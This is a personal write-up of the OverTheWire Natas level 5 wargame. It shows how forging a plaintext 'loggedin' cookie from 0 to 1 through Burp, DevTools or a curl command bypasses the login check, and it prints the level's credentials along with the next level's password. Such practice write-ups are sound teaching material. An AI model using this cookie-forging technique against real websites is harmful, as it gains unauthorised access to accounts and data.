DUDJI.ZINE/WRITEUPSPERSONAL NOTES. PUBLIC KNOWLEDGE.
WRITEUPS /CHALLENGES

Natas 5

Natas Level 5 — session state stored in a plaintext client-side cookie, trivially forged.

Overview

FieldValue
URLhttp://natas5.natas.labs.overthewire.org
Usernamenatas5
Password0n35PkggAPm2zbEpOU802c0x0Msn1ToK

The page says: "Access disallowed. You are not logged in."

No login form is present. The server already knows you're not logged in — which means it's reading that state from somewhere in your request. Think about how web applications persist state between requests.

Hints

Hint 1 — How does the server know your login state?

HTTP is stateless — every request starts fresh. Web applications use cookies to persist state across requests. Open your browser's DevTools (F12 → Application → Cookies) or intercept the request in Burp. Is there a cookie that relates to being logged in?

Hint 2 — Can you change the cookie value?

You should see a cookie called loggedin with a value of 0. This boolean flag is stored entirely on the client side with no server-side verification. Modify it to 1 and resend the request — either through Burp Suite or your browser's DevTools cookie editor.

Solution

Full walkthrough

  1. Inspect the cookie

    Intercept the request in Burp Suite (or open DevTools → Application → Cookies). You will see:

    Cookie: loggedin=0

  2. Modify the cookie

    Change the value to:

    Cookie: loggedin=1

  3. Resend the request

    Forward the modified request. The server trusts the cookie value and grants access, returning the password.

With curl

# --cookie sets a cookie in the request — no browser needed
curl -s -u natas5:0n35PkggAPm2zbEpOU802c0x0Msn1ToK \
  --cookie "loggedin=1" \
  http://natas5.natas.labs.overthewire.org/ \
  | grep -i password

Password

natas6: 0RoJwHdSKWFTYR5WuiAewauSuNaBXned